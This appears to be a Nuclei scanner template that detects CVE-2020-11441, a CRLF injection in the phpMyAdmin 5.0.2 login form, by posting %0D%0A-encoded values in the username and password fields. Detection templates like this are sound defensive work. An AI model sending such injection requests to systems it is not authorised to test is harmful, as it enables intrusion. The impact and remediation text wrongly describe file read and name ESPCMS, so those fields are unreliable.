id: CVE-2020-11441

info:
  name: phpMyAdmin 5.0.2 - CRLF Injection
  author: ritikchaddha
  severity: medium
  description: |
    phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states "I don't see anything specifically exploitable.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server including configuration files and credentials, potentially leading to complete system compromise.
  remediation: |
    Upgrade to a patched version of the ESPCMS or apply vendor-provided security updates.
  reference:
    - https://github.com/phpmyadmin/phpmyadmin/issues/16056
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11441
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11441
    cwe-id: CWE-93
    epss-score: 0.00658
    epss-percentile: 0.71303
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:5.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query: title:"phpmyadmin"
    fofa-query: title="phpmyadmin"
  tags: cve,crlf,phpmyadmin,cve2020,vuln

http:
  - raw:
      - |
        GET /index.php?route=/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /index.php?route=/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token={{token}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "^test:crlfinjection=1$"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: session
        group: 1
        regex:
          - 'name="set_session" value="([a-z0-9]+)"'
        internal: true

      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'name="token" value="([a-z0-9]+)"'
        internal: true
# digest: 4a0a00473045022100a7fd97b61da959756dbb9d95d9da99e43e82fcd7ff08af9cfb0eb3ac44234062022066dd6c0a1732bdcd27f731f6fd73ec45b71bb7d8022c05c91cea6c8a6420f63b:922c64590222798bb761d5b6d8e72950